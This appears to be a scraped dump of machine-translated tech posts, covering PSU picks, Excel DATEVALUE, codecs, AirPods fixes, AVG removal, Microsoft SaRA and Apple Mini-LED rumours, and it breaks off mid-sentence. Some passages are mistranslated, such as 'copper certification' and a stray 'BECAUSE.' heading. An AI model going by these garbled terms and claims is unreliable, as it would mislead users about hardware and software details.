ROG 1200W PSU has the best price: EVGA 600 BR Best small PSU: Corsair SF Series 750W Best PSU module: EVGA SuperNOVA 750 G1 + The quietest PSU: be quiet! Pure Power 11 Best fanless PSU: Seasonic Prime Titanium Fanless 600W Best low power PSU: Seasonic S12III 500W Reference price: VND 1,590,000\n  If you're building a system with minimal power requirements, you can try a PSU like Seasonic S12III 500W. Computer power, even low-power options, needs to be high quality. This is because they can destroy other components in the system, if something goes wrong.\nThis is a good quality 500W PSU from a reputable brand, helping you to be confident in your system. It comes with all the cables you'll need to install, as well as a 5-year warranty.\nBest medium power PSU: Corsair RM 750x Reference price: $ 119.89 (VND 2,790,000).\n  If you want to build your own system and are looking for a mid-range PSU, try Corsair RM 750x. This 750W power supply is certified for efficiency, so it won't spike your electricity bill. RMx is a full module and comes with many black cables so you can fit neatly into the case.\nThe Corsair RM 750x also features an adjustable fan to create low-noise operations. There is even an option in which the fan is completely turned off at light load, keeping your system running smoothly.\nBest high power PSU: Asus ROG 1200W Reference price: $ 276.99 (6,440,000 VND)\n  When building a high-end gaming PC using parts like two graphics cards, you need a lot of power provided by a PSU, like the Asus ROG 1200W. This 1200W power supply is platinum certified, meaning it achieves a very high level of efficiency and has a wing-blade fan to keep the components cool, while still operating very quietly.\nInteresting extras on this gaming-focused PSU include the integrated OLED control panel, which displays real-time information about power consumption and RGB lighting, which can be controlled by Asus Aura Sync to add a little color to your system.\nPSU has the best price: EVGA 600 BR Reference price: $ 60.73 (VND 1,420,000)\n  Those looking for an affordable, but good quality PSU should consider the EVGA 600 BR. This 600W PSU has the essential features you need, like copper certification. This means that EVGA 600 BR is not the most efficient PSU, but it is also not terribly awful. This PSU also provides reliable solid performance without making too much noise.\nThe PSU is not a module, so you cannot remove cables that you do not need. However, the bundled cables are wrapped in black for a sleeker look. If you build a PC on a limited budget, this component comes with a 3-year warranty so you feel secure.\nBest small PSU: Corsair SF Series 750W Reference price: $ 161.87 (VND 3,767,000)\n  For some builds, such as micro ATX or mini ITX systems, you may not have much room in the case for PSU. In these cases, you can use a small PSU like the Corsair SF Series 750W. This PSX SFU is more suitable for cramped cases than the standard PSU.\nFortunately, it also comes with an STX or ATX frame to fit larger cases. This PSU provides 750W of power, platinum certification, an option to disable fans at low load and full modular cables to save more space.\nBest PSU module: EVGA SuperNOVA 750 G1 + Reference price: $ 132.29 (VND 3,070,000)\n  Whether you want your build to be aesthetically pleasing or space-saving and allow for easy airflow, you should choose a modular PSU like the EVGA SuperNOVA 750 G1 +. The PSU module comes with detachable cables, so you only need to plug in the cables you want to use. For example, most modern motherboards provide additional power to the CPU with an 8-pin ATX cable, but some decent motherboards use a 4-pin EPS cable instead.\nMost power adapters usually come with both ATX and EPS cables. In modular power supply, you only need to unplug the cable that you don't need to save space. This special PSU comes with 1 ATX cable, 2 EPS cables, 4 PCIe cables, 4 SATA cables, 2 4-pin peripheral cables, floppy disk adapter and AC power cable - almost any type of power cable you can use. need! The EVGA SuperNOVA 750 G1 + is also gold certified, offering 750W of power and a little shorter length than the standard PSU, making it more compact.\nThe quietest PSU: be quiet! Pure Power 11 Reference price: $ 89.90 (VND 2,093,000)\n  Those who are trying to build a quiet PC should look for a suitable PSU so as not to be disturbed by excessive fan noise. be quiet! Pure Power 11 is a gold-powered 600W power supply, modular cable and quiet operation.\nThis PSU is optimized for low noise levels, through the use of 120mm branded quiet fans! The brand is known for its quiet operating cases and fans and has applied the same standards to its PSUs.\nBest fanless PSU: Seasonic Prime Titanium Fanless 600W Reference price: 6,798,000 VND\n  Another option for an extremely quiet build is a fanless PC power source like the Seasonic Prime Titanium Fanless 600W. This is a passively cooled PSU, meaning there is no noise spinning fan. Instead, it is designed to generate very little heat. This way, the heat generated by this PSU can be removed only by using the heat sink and therefore fans are not needed.\nYou will also notice that the Seasonic Prime Titanium PSU has perforated sides instead of solid metal, allowing for more heat dissipation. These PSUs are designed and built to be technically complex compared to fan-based PSUs, so they are not cheap. But for the money, you'll get a 600W PSU with titanium certification, which works almost completely quietly.\nThere are many things to consider when buying a PSU. Many PC builders first choose a cheap computer source, but then regret when the component is 'dead' and may even entail other parts of the system to stop working. To avoid this situation, make sure you have purchased a good source of computer from a reputable brand.\nAlso, consider other features you may need, including performance rating, module cables, and compact dimensions. You can also consider options to keep your PSU quiet, such as good quality fans, silent operation under low loads or even fanless PSUs.\nTo learn more about choosing the right computer source for your project, see TipsMake.com 's guide to what to know when buying a computer power.\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZqijqsBuu8VmaWlpaQ%3D%3D\n","link":"/post/8-best-psus-of-2019/","section":"post","tags":null,"title":"8 best PSUs of 2019"},{"body":"The following article introduces you to the DATEVALUE function - one of the functions in the date and time group function is very popular in Excel.\n  Description: The function performs a conversion of a stored date value as a text into a serial number recognized by Excel. The function is useful in cases where the worksheet contains the date format you want to filter or sort.\nSyntax:  DATEVALUE (date_text)\nWhere: date_text is the date value to be converted to serial number. Date values ​​range from 1/1/1900 -\u0026gt; 12/31/9999.\nAttention:\n- If the year value in the date_text argument is omitted the function takes the current year on the clock on your computer.\n- Excel stores dates in sequential serial format to facilitate calculation.\n- Most functions automatically convert date values ​​into serial numbers.\nFor example:\nConvert date values ​​in different formats to serial numbers according to Excel conventions.\n  - In the cell to calculate, enter the formula: = DATEVALUE (\"May 1, 1985\").\n  - Press Enter -\u0026gt; the serial number corresponding to May 1, 1985 is:\n  - Similarly copying the formula for the remaining values ​​results:\n  - With individual date, month and year values, you can combine them to calculate the serial number according to the following formula: = DATEVALUE (F12 \u0026amp; \"/\" \u0026amp; G12 \u0026amp; \"/\" \u0026amp; H12).\n  - Press Enter -\u0026gt; the corresponding serial number is:\n  Above are instructions and some specific examples when using the DATEVALUE function .\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksaLAxK%2BYpa2VYrO2usKtoKimXZvCr6%2FToqanq12pvG6vzqetnqqkYsGmxNNmnaiqnZbBbrDArZysZaSkerSx0aKYpWWeqrqjsdGsZKKmXZrFpLHL\n","link":"/post/datevalue-function-functions-to-convert-text-format-dates-to-serial-numbers-in-excel/","section":"post","tags":null,"title":"DATEVALUE function - Functions to convert text format dates to serial numbers in Excel"},{"body":"Dauntless is an action RPG developed by Phoenix Labs. This newly released game is completely free and comes with a cross-play mode on all 3 PC, PS4 and Xbox One platforms.\nIn the game, the player is taken to a fantasy world and takes on the role of hunters to defeat the terrible monsters called Behemoth, which are released when the earth is torn apart, the continents are split. leave. After that, players will have to collect spoils and use them to create and upgrade weapons and equipment to continue to fight monsters and explore new lands for people to live.\n  The player can choose to play alone or co-op with up to 3 other players, forming a group of four hunters Behemoth.\nDauntless is currently available on the PlayStation 4, Xbox One and PC are completely free via Epic Games Store. To play this game for free, you can visit the link below.\nDownload Dauntless on Playstation Store (PS4) Download Dauntless on Microsoft Store (Xbox One)    Phoenix Labs added that they will release the game on both Nintendo Switch and mobile platforms in the near future.\nInstructions for downloading Dauntless for PC.\nStep 1: Log in or create an Epic Games Store account (if not already), follow the link below.\nSign in Epic Games Store Step 2: Visit the link below to go to the Dauntless homepage on Epic Games Store.\nDauntless on Epic Games Store Step 3: Click Free.\n  Step 4: -\u0026gt; select Place Order to confirm payment.\n  Step 4: Download and install Epic Games Launcher on your computer to play Dauntless games.\nDownload Epic Games Launcher for Win / Mac Configuration needed to smooth Dauntles game titles:\n  ncG1vNJzZmismaXArq3KnmWcp51ksaLBza2jnqujYsGpsYybo6ibm5fCtMDEq2SgmZ2aerW0wK1koa2eqcBuuc6nqq2doqh6qa3SZqGuq6RiuaLBzZyfnpxdpLturculZGxloKGutbLOq6SsZaCYerG%2Fk2aYp5xdra%2BwxIyopZ5lk6S6sbjErZylsV2bv6ax\n","link":"/post/dauntless-the-blockbuster-game-that-hunts-monsters-has-just-launched-on-all-3-platforms-pc-ps4-and-xbox-one-completely-free/","section":"post","tags":null,"title":"Dauntless, the blockbuster game that hunts monsters has just launched on all 3 platforms PC, PS4 and Xbox One, completely free"},{"body":"Creating backups of important data is a very good habit. And, if you are using Windows 10, then there are various options for creating data backups. In particular, the two most useful methods to create backup data are Recovery Drive and System Image.\nIf you confuse these two great backup options and don't know which one is going to work for you, the following article will help you find the difference between Recovery Drive and System Image in Windows 10.\nWhat is Recovery Drive? The role of Recovery Drive is to bring the computer system back to its original state As you can guess from the name, the role of Recovery Drive is to bring the computer system back to its original state. The initial state can be anything - the original installation or a copy of your Windows environment.\nThis feature is quite similar to using the factory reset option on an Android or iOS device. This feature will almost format your entire computer, but will not include desktop applications and any other personal data.\nThis is because this setting will bring the computer back to the way it was when you first started it, but usually with a smaller capacity. All third-party applications and programs are left behind in this process. So this is not a good choice when you have to retrieve deleted files or other data.\nThis is the last step used in situations such as when the computer stops responding, encounters a problem and nothing else works for you. Some people also call Recovery Drive a Recovery Disk or System Recovery Disc. People used to use CDs or DVDs to store backups in the past, but now pen drives are preferred because they're easy to carry around.\nToday, most computer devices come with Recovery Drive built in, but are hidden from users to protect the integrity of the drive. However, with Windows 10, this feature has been replaced, because you need a separate bootable USB Recovery Drive.\nWhat is System Image? System Image creates a copy of the entire hard drive partition System Image is very different from Recovery Drive because it creates a copy of the entire hard drive partition (a large file). System Image is often used to create backups for primary partitions or when you install Windows operating systems. This is because it contains user data, program files, registry entries, all other operating system-related files and folders.\nIn the usual sense, the System Image file is larger than Recovery Drive (because all user data, along with third-party applications and programs installed on the computer, are backed up). By using this file, you can easily access a specific file and folder from there without performing the entire recovery process.\nThis option is preferred when you have to recover a deleted file or application. On the other hand, it will remove the other drives present in the computer from the process. That's why Microsoft has bundled different backup options in the system for users to use on demand.\nCheck out the article: How to back up and restore Windows 10 from System Image for how to use this useful tool.\nWhat is the difference between Recovery Drive and System Image? System Image allows you to recover everything on your system, including multiple drives. On the other hand, Recovery Drive only allows you to copy the most needed files from the system drive.\nObviously, both Recovery Drive and System Image are important parts of the backup process. When you want to restore some applications or files, you should use System Image. For user settings, Recovery Drive is a suitable option. That is why both are equally useful and important.\nncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmnqjsdOwnJ6mXaeypLvVnqmyZZSntrexjJqlnWWjrsC1scxmoKaZl5p6qrqMsKCnnJ%2BswG59jw%3D%3D\n","link":"/post/difference-between-recovery-drive-and-system-image-in-windows-10/","section":"post","tags":null,"title":"Difference between Recovery Drive and System Image in Windows 10"},{"body":"If you are getting an error message like 'A codec is required to play this file' or 'Windows Media Player encountered an error' then there is a high chance that your computer is missing or damaged codec.\nSo what are codecs? What do you already know about codecs? How to know if your computer is missing a codec? and how to install the missing codecs on the computer.?\nWell, in this article we will learn more about codec together. But first, let's go through a bit of the concept of codecs first.\nI. What is Codec? Codec (combined by 2 words code and decode) is a software, a necessary program used to compress large files, or to convert between analog audio and digital audio.\nVideo and Audio files are often very large, so it is quite difficult to share over the network. So to reduce download time, codecs were born to encode or shorten the transmitted signal, and then decode it for viewing and editing.\nAs I mentioned, a codec is a piece of software that encodes (compresses) a file and then decodes it (decompresses) it for playback. Some codecs contain only the encoder, some contain only the decoder, and some include both.\nEach audio file and video file will use separate codecs. So if it does not contain the codec technologies used for encoding, your device will not be able to play it, leading to the error message like the beginning of the article I mentioned.\nII. How many Codecs does a computer need? Currently, there are hundreds of different codecs, and usually we will use a combination of these codecs to make music / video playback more convenient. Some types of codecs such as: Codec to compress video, audio, multimedia files streamed over the network, slides, video calls, screenshots.\nTypically, a computer needs about 10-15 codecs to play music and videos.\nIII. What are the common codecs? Some codecs are very popular today such as MP3, WMA, RealVideo, RealAudio, DivX and XviD.\nMany of you say AVI format is a codec, but this is a mistake guys. AVI is just a container format that many codecs can use.\nThere are hundreds of codecs that are compatible with AVI format content, so it can be a bit difficult to know what type of codec is needed to play the file.\nSome very popular codec packs that you should use for your computer are:\nX Codec Pack: An All-in-One codec pack but quite light, no ads, no spyware. This codec pack is light but it is quite complete, can help your computer play most popular types of Video and Audio today. K-Lite Codec Pack: This codec pack includes 4 versions: Basic, Standard, Full and Mega. Normally, for ordinary users, just installing the Standard package is enough - helping the computer to play all popular movie formats. K-Lite Mega Codec Pack: This is a compilation codec pack, this codec pack contains everything you need. CCCP (Combined Community Codec Pack): It can be said that this is the most diverse codec pack. This codec pack helps the computer to run 99% of today's video formats. IV. Check Codecs Installed in Windows 10 (without software) There are many ways to check what codecs are installed on your computer, and the Windows 10 operating system itself already has some codecs created by Microsoft.\n#first. Check installed codecs from System Information You can check which codecs are installed on your device using the 'System information' page in Windows.\nHowever, it only shows at a basic level, or in other words, it is not very detailed. And another thing is that not all codecs are shown here.\n+ Step 1: You open System Information by opening the Run dialog box (Windows + R) =\u0026gt; enter the command msinfo32 =\u0026gt; and press Enter.\n+ Step 2: In the System Information window, select Components =\u0026gt; select Multimedia in the left column.\n=\u0026gt;Here you will see Audio Codecs (Audio Codecs) and Video Codecs (Video Codecs) options. You can click either option to see information about the respective codecs installed.\n  #2. Check installed codecs from Windows Media Player As you know, the Windows Media Player audio/video player is built into Windows 10, and it is also the default audio and video player of the Windows operating system.\nSo you can get a detailed list of codecs installed on your computer with this software.\n+ Step 1: You open Windows Media Player through the Desktop screen, or you can also use the wmplayer command in the Run dialog box (Windows + R) =\u0026gt; and press Enter.\n+ Step 2: Next, right-click any space in the Menu bar at the top (right below the title bar) =\u0026gt; then select Help =\u0026gt; select About Windows Media Player.\n  + Step 3: In the new window that appears =\u0026gt; click on Technical Support Information.\n  + Step 4: This will open a details tab on your web browser. Scroll down and you will find the audio and video codecs already installed on your computer.\n  V. Check installed codecs with third-party apps In addition to the two ways above, you can also check installed codecs with third-party applications.\n#1. InstalledCodec InstalledCodec is a small software of Nirsof, portable, so it does not need to be installed when using. It allows you to view detailed information about the codecs installed on your system easily.\nYou can use different filters (like showing only 64 bit codecs…). You can also disable or enable these codecs through the context menu of this software.\n  #2. Video Inspector Video Inspector is another option that helps you quickly see the codecs installed on your computer.\nYou access the website address (link above) =\u0026gt; then click Download and install the software to view this codec on your computer.\n=\u0026gt; After the installation is complete, open the application and click on the Codecs tab on the left. Another window will open where you can view the video and audio codecs installed on your computer.\n  NOTE: This app can do more than display the installed codecs on your device. But within the framework of this article, I only focus on viewing the codec function to avoid diluting the article.\nBECAUSE. How to install missing codecs on Windows 10 I see many of you have difficulty determining which codec is missing on your computer =\u0026gt; resulting in video or audio playback errors.\nWell, actually to determine the codec of a video or audio file is quite simple. You can easily identify/test it yourself =\u0026gt; and from there you search for it on the Internet and install it on your computer.\n#first. How to determine a file's codec + Step 1: Right-click the file you want to find the codec =\u0026gt; and select Properties from the right-click menu.\n+ Step 2: Switch to Details tab to find Audio Codec and Video Codec information.\nNOTE: If you can't find the information, you can use the backup Video Inspector / Link tool. And I also encourage you to use this software, because it will be more convenient to download the missing codec.\n+ Step 3: You download and install this software on your computer. The installation is too easy, so I will not guide you further.\n+ Step 4: In the main interface of the application, click Browse. =\u0026gt; then select the file to determine its codec.\n+ Step 5: Video Inspector will display the information you need, as shown below:\n  + Step 6: In this example, we see that the codec is not available in the computer. Now you just need to click the Download button next to each codec and you will be taken to the codec finder in the browser.\n+ Step 7: Finally, you just need to download that codec and install it!\nVII. Conclude Well, so through this article, you already understand what a codec is, right?\nThrough this article, you also learned more about how to check the codecs installed on your computer, and check the missing codecs, as well as how to find and install those missing codecs.\nAlthough a codec is a small piece of software, it plays a very important role in a computer.\nWe only encounter codec errors when playing videos downloaded from the Internet or the Windows 10 system has been changed. And from now on, if you encounter an error like this, you already know how to handle it.\nHope the article is useful to you. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecCnm2ahnqjBorjLZqSiq6Oeu6h5wqibnpujYryvedaipZ2np6h6cnw%3D\n","link":"/post/how-to-check-and-install-missing-codecs-on-windows-10/","section":"post","tags":null,"title":"How to check and install missing codecs on Windows 10"},{"body":"MathType tool not only supports creating expressions and mathematical equations, but also helps you draw grid graphs and numbers. These are the types of charts that often appear in Math. After drawing diagrams on MathType, users can immediately enter content into Word easily. Compared to Word that can only display expressions with simple characters, MathType supports importing more advanced content. The following article will guide you how to draw grid graphs on MathType.\nHow to create charts, graphs in Excel \nInstructions for inserting, drawing and creating charts in Word 2007 Instructions for using Pareto, Histogram and Waterfall charts in Excel 2016 How to create a grid chart on MathType Step 1:\nAt MathType interface click on Format and then select Define Spacing .\n  Step 2:\nA new table interface appears, change the size at Line Spacing to 100% .\n  Continue dragging down the Operator Spacing section to 1% . Finally click OK to save the changes.\n  Step 3:\nGo back to the MathType interface and click Format and select Align Center .\n  Next, type Y and press Enter. Click the arrow upwards on Up Arrow .\n  Step 4:\nPress Enter down the line and then type X and select the arrow on the left Left Arrow .\n  Step 5:\nNext in the icon bar on MathType we find the icon section with small squares, then select the grid chart in the list.\n  Step 6:\nIn the new Matrix interface, select Rows and Columns as 8 . Click next to the middle of the cells to create a dashed line for the grid chart . You click on the white space to change the type of dashed lines you want to use\n  Step 7:\nThe grid chart will display on MathType as shown below.\n  Next click the mouse to the right of the chart and insert the arrow to the right of arrow Rightwadrs .\n  Then enter X in the arrow and press Enter. You continue with the Y symbol below. This is the positive and negative part for the chart axis.\n  Step 8:\nFinally, you enter the number on the axes in the grid chart and export to Word will be a grid chart as shown below.\n  Thus users have finished performing grid graphs on MathType and then entering Word content. We continue to edit the grid chart content in MathType to better align it into Word.\nSee more:\nHow to create shortcuts on MathType How to write math formulas on Word with MathType How to use MathType to write math formulas I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKCqmZl6pLTAq6tmp55iuqLAx62wqZ0%3D\n","link":"/post/how-to-create-a-grid-chart-on-mathtype/","section":"post","tags":null,"title":"How to create a grid chart on MathType"},{"body":"The problem with broken headphones is not specific to any one, and common AirPods problems like sound quality issues, poor battery life or AirPods can only be heard on one ear. The AirPods only hear the sound of one ear and the other does not make a sound is not necessarily a serious error that can not be used, but we can also check and correct with some simple actions. The following article will summarize some ways to fix AirPods error only hear 1 ear.\nWhat to do when iPhone headset mode error? Fix the error of not connecting to the headset in windows 10 Headphone, earphones leaked, noisy, hard to hear and how to fix it? How to connect 2 AirPods to iPhone to share music Instructions to fix AirPods error can only hear 1 ear Method 1: Clean the AirPods headset\nCleaning the headset is also needed to help us hear sound well and also ensure hygiene for your ears after use. You should clean both the AirPods and the charging box once a month. Readers can refer to the hygiene steps for headphones according to the article below.\nTo protect your hearing, clean your headphones   Method 2: Check sound settings on iPhone\nThe only hearing on one AirPods headset is also possible because we set the sound mode wrong. You go to Settings\u0026gt; Accessibility\u0026gt; Audio / Visual . Then turn off Phone Noise Cancellation . Next to the horizontal bar in the Balance section, the circle icon should be centered . If the circle button is completely off to one side, the sound in that ear will be muted. Mono Audio mode also needs to be turned off.\n  Method 3: Reconnect AirPods with iPhone\nWhen having trouble with sound or another error on AirPods, users can try disconnecting from the iPhone, then we proceed to reconnect the AirPods to the iPhone. How to connect AirPods to iPhone readers follow the article How to connect iPhone to AirPods without going to the Bluetooth menu.\n  Method 4: Reset settings on iPhone\nIf you have tried the above methods but not yet, try resetting the iPhone, bringing all the settings on the iPhone to the original default settings. If you do not know how to reset the iPhone step by step, refer to the article How to restore iPhone factory reset.\nAbove are some ways to fix AirPods error that only hear 1 ear. You should try to fix each error, if not then the last way to bring the AirPods to a warranty shop for inspection.\nHope this article was helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqitdGppp2rXay2tbSMqKWlsV2ku6Z5xJqpZqCVlr%2Bl\n","link":"/post/how-to-fix-airpods-with-only-one-ear-heard/","section":"post","tags":null,"title":"How to fix AirPods with only one ear heard"},{"body":"This wikiHow teaches you how to uninstall AVG products from your PC or Mac. Restart your PC. AVG recommends restarting before you try to install to ensure that there are no administrative tasks running in the background.https://support.a...\nMethod 1of 6:\nUninstalling AVG from Windows 10  Restart your PC. AVG recommends restarting before you try to install to ensure that there are no administrative tasks running in the background.[1] If you installed the AVG Toolbar, Web TuneUp, or Secure Search extensions on Google Chrome, see this method to remove them from the browser.   Click the search icon. It's the circle or magnifying glass to the right of the Start menu, which is usually at the bottom-left corner of the screen.\n  Type control panel. A list of matching results will appear.\n  Click Control Panel.\n  Click Programs and Features. If you don't see this option, click the drop-down menu at the top-right corner of the window and select Large Icons. If you see a \"Programs\" button, click on that and then \"Programs and Features\" on the next page.   Right-click AVG in the program list. A menu will appear. If you see multiple AVG apps installed, you'll have to remove them all separately.   Click Uninstall. This opens an uninstall wizard.\n  Follow the on-screen instructions to remove AVG. Once AVG is removed, you'll be prompted to restart your computer. Restart your computer to complete the removal. If you run into any problems removing AVG, see this method. If you still see the AVG search page in your web browser after uninstalling the software, see this wikiHow to learn how to set your default search engine.  Method 2of 6:\nUninstalling AVG Cleaner for Mac  Open the Launchpad on your Mac. It's the rocketship icon on the Dock that's usually at the bottom of the screen.[2] If you installed the AVG Toolbar, Web TuneUp, or Secure Search extensions on Google Chrome, see this method to remove them from the browser.   Click and hold the AVG Cleaner icon. When the icons begin to jiggle, you can remove your finger from the mouse.\n  Click x on the AVG Cleaner icon. This removes the app from your Mac. If you still see the AVG search page in your web browser after uninstalling the software, see this wikiHow to learn how to set your default search engine.  Method 3of 6:\nUninstalling AVG from Windows 8  Press ⊞ Win+X on your keyboard. A menu will appear. If you installed the AVG Toolbar, Web TuneUp, or Secure Search extensions on Google Chrome, see this method to remove them from the browser.   Click Programs and Features. A list of apps installed on your computer will appear.\n  Right-click AVG in the list. A menu will appear. If you have more than one AVG product installed, you'll have to remove each separately.   Click Uninstall. This opens the uninstallation wizard.\n  Follow the on-screen instructions to remove AVG. When the removal is complete, you'll be prompted to restart your computer. If asked to choose between \"Speed up my PC,\" \"Update my AVG product,\" and \"Uninstall AVG,\" select \"Uninstall AVG.\" You may also need to uncheck the box next to the \"Keep AVG Security Toolbar and LinkScanner\" if prompted.   Restart your computer to complete the removal. If you run into any problems removing AVG, see this method. If you still see the AVG search page in your web browser after uninstalling the software, see this wikiHow to learn how to set your default search engine.  Method 4of 6:\nUninstalling AVG from Windows 7, Vista, and XP  Click the Start menu. It's usually at the bottom-left corner of the screen.\n  Click Control Panel. If you don't see this option, click Settings, and then click Control Panel.\n  Click Add or remove programs. If you don't see this option, click Programs, and then click Programs and Features instead.\n  Right-click the AVG product you want to remove. A menu will appear. If you want to uninstall more than one AVG product, you'll need to remove each separately.   Click Uninstall or Change/Remove. The option you see depends on your version of Windows. This opens the AVG uninstaller app. If prompted, click Uninstall from the installation options.   Click Uninstall AVG or Uninstall. Additional options will appear for uninstalling the app(s).\n  Choose whether you want to keep any add-ons. If you don't want to keep add-ons (such as the AVG Security Toolbar or LinkScanner), remove the check marks from each box. If prompted to do so, remove the check marks from the boxes beside \"Remove user settings\" and \"Remove Virus Vault contents.\"   Follow the on-screen instructions to remove AVG. Once AVG is removed, you'll be prompted to restart your computer. Restart your computer to complete the removal. If you run into any problems removing AVG, see this method. If you still see the AVG search page in your web browser after uninstalling the software, see this wikiHow to learn how to set your default search engine.  Method 5of 6:\nUninstalling AVG Toolbar, Web TuneUp, or Secure Search from Chrome  Open Chrome on your computer. You'll usually find it in the Start menu (Windows) or in the Applications folder (macOS).\n  Click the ⁝ menu. It's at the top-right corner of Chrome.[3]\n  Click the More tools menu. Another menu will expand.\n  Click Extensions. A list of installed browser extensions will appear.\n  Click Remove next to the AVG extension. This removes the selected extension from Chrome. If you have more than one AVG extension installed, click Remove for any you want to uninstall.   Click the ⁝ menu again and select Settings. It's toward the bottom of the menu.\n  Scroll down to the 'Search engine' section. It's toward the bottom of the page.\n  Select your desired search engine from the drop-down menu. If you see the AVG tool highlighted in the drop-down menu, click the menu, then an alternative (such as Google).\n  Scroll down and select Open the New Tab page. It's below the 'On startup' header at the bottom of the page.\n  Restart Google Chrome. The AVG Chrome extensions should no longer appear.\n Method 6of 6:\nUsing the AVG Remover Tool  Navigate to https://www.avg.com/en-us/avg-remover in a web browser. If you were unable to remove AVG from Windows using another method, this tool should do the trick.[4]\n  Click DOWNLOAD. It's the green button near the bottom-right corner of the page. You may have to click Save or OK to begin the download.   Double-click avgclear.exe once downloaded.\n Read the license and privacy agreements. Click READ NOW beneath each option to make sure you agree with AVG's policies.\n Click Continue under 'AVG Remover.' It's on the right side of the window. The tool will scan your PC and display a list of AVG apps to remove.\n  Select apps to uninstall and click Remove. The selected AVG apps will be removed from your PC. Once finished, you'll be prompted to restart the computer.\n  Click Restart to complete the process. You may be prompted to do this more than once before all AVG apps are removed. If you see a window that says 'Open File – Security Warning' after the reboot, click Run to proceed.   Delete the removal tool from your PC (optional). Once the AVG apps are removed, you can delete the remover tool in the File Explorer. Press ⊞ Win+e, go to your C: drive, right-click the AVG_Remover folder, and then click Delete. If you still see the AVG search page in your web browser after uninstalling the software, see this wikiHow to learn how to set your default search engine.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2aZppw%3D\n","link":"/post/how-to-uninstall-avg/","section":"post","tags":null,"title":"How to Uninstall AVG"},{"body":"The Microsoft Support and Recovery Assistant (SaRA) works by running a test to find the error and provide the best solution for the identified problem. It can currently fix Office, Microsoft 365, or Outlook issues.\nIf the Microsoft Support and Recovery Assistant cannot solve the problem for you, it will suggest next steps and help you contact Microsoft support.\nThis guide will show you how to use the Microsoft Support and Recovery Assistant (SaRA) to troubleshoot and diagnose Office, Microsoft 365, Outlook, and Windows problems in Windows 7, Windows 8, and Windows 10.\nDownload and install Microsoft Support and Recovery Assistant (SaRA) 1. Download and run SaraSetup.exe from Microsoft to install Microsoft Support and Recovery Assistant (SaRA).\n2. Click Install.\nClick on Install 3. Microsoft Support and Recovery Assistant will begin to download and install for your account.\n4. When the installation is completed, Microsoft Support and Recovery Assistant will automatically open and run. Skip to step 2 in the section below.\nOpen and use the Microsoft Support and Recovery Assistant (SaRA) 1. Open the Start menu and the Microsoft Support and Recovery Assistant application installed in the section above.\nOpen the Start menu and the Microsoft Support and Recovery Assistant application 2. You should now see the Launching Application window for Microsoft Support and Recovery Assistant.\nLaunching Application window for Microsoft Support and Recovery Assistant 3. The first time you open Microsoft Support and Recovery Assistant, you will need to click I agree to agree to the Microsoft service agreement.\n4. In Microsoft Support and Recovery Assistant, click the application you are having problems to select and click Next.\nClick on the app you are having problems with 5. Click the issue you encountered with the application from the list and click Next.\nClick on the issue you encountered with the application from the list Note : The list of issues will be different for each application.\n6. Follow the instructions provided by Microsoft Support and Recovery Assistant.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqutcKrpqynlql6tMHPqaarrF2Wu6V50Z6aqK6Vp8ZurdKsoKyskaPBbr%2FAq5hmoZ5ixKq6w6iurA%3D%3D\n","link":"/post/how-to-use-microsoft-support-and-recovery-assistant-sara-in-windows/","section":"post","tags":null,"title":"How to use Microsoft Support and Recovery Assistant (SaRA) in Windows"},{"body":"A reliable Apple analyst, Ming-Chi Kuo, has just sent investors a new forecast about when Apple will move on to adopt Mini-LED display technology. According to forecasts of this analysis, Mini-LED technology will land on iPads and MacBooks starting from the end of next year.\nKuo predicts that Apple will bring Mini-LEDs to 4-6 products over time, but the change will start with the 12.9-inch iPad Pro line in Q3 2020. Besides, Mr. Kuo also said that Apple will launch an upgraded version for the 16-inch MacBook Pro in Q4 2020 also using a Mini-LED screen.\n 12.9-inch iPad Pro and 16-inch MacBook Pro will have a version using Mini-LED screen by the end of 2020.\nWhy not OLED or Micro-LED?\nAlthough the iPhone X has been using OLED displays since 2017, the iPads and MacBooks - Apple's big-screen devices - still use traditional LCD screens.\nOne of the reasons lies in the expensive cost of OLED technology, especially for devices with large display sizes, although it has superior advantages in visibility compared to LCD technology.\nIn addition, OLED screens have not completely eliminated their chronic illness as a burn-in phenomenon after a long time of use.\n The Wall - TV using the first Micro LED technology in the world of Samsung.\nMeanwhile, there are many other rumors that Apple is also researching and developing Micro-LED screen technology - the technology of micro-LED micro-LED light bulbs with the size of less than 100 micrometers. (typically only 3-15 micrometres per side).\nWhile Micro-LED is a breakthrough both in visibility and immunity to burn-in on OLED, they are very expensive and difficult to produce, especially for large devices such as screens. laptop, tablet or TV. To create Micro-LED panels, manufacturers will have to invest in entirely new production lines, instead of reusing old ones, which will make it more expensive. than.\nMini-LED - a stepping stone for display technology\nWhile Micro-LED was not technologically complete, OLED was too expensive for large sizes, and there were difficult technical problems to solve, Mini-LED was considered a suitable choice for Apple. for a comprehensive upgrade of visibility on iPad and MacBook.\nWith the same technology as the LCD screen, but with superior display enhancements, Mini-LED screens are easier to produce on a larger scale, have higher productivity and can take advantage of the facilities themselves. appears to produce. Currently, besides LG Display, there are many other manufacturers who have researched and developed Mini-LED for a long time such as Epistar, Zhen Ding, Radiant Opto-Electronics, Nichia, Avary Holding and TSMT.\n This is one of the advantages that Apple has always preferred because they will not have to rely too much on a supplier to bring new technologies.\nMoreover, the visibility of Mini-LED is also upgraded significantly compared to conventional LCD. Using small 100-micrometer LEDs to illuminate the LCD panel, the Mini-LED screen will be capable of local dimming by turning on or off certain LEDs in certain areas. This will result in higher contrast, HDR display, and higher energy efficiency.\nBesides, Mini-LED is also significantly thinner than conventional LCD screens, even equivalent to OLED screens. Not only that, but the cost and production cost of a Mini-LED screen, though higher than that of LCD, is only 70% -80% of that of an OLED screen, while having the same contrast. In particular, Mini-LED also does not have burn-in problems like OLED.\nThe advantages of visibility, has been optimized in price as well as diverse supply capacity of Mini-LED technology are the points that Apple preferred when choosing a new technology to apply to my product.\nAlong with these advantages, the predictions of analyst Ming-Chi Kuo increasingly show, the launch date of the new iPads and MacBooks using this superior display technology is getting closer. If it launches at the end of 2020 as predicted, we will be less than a year away from 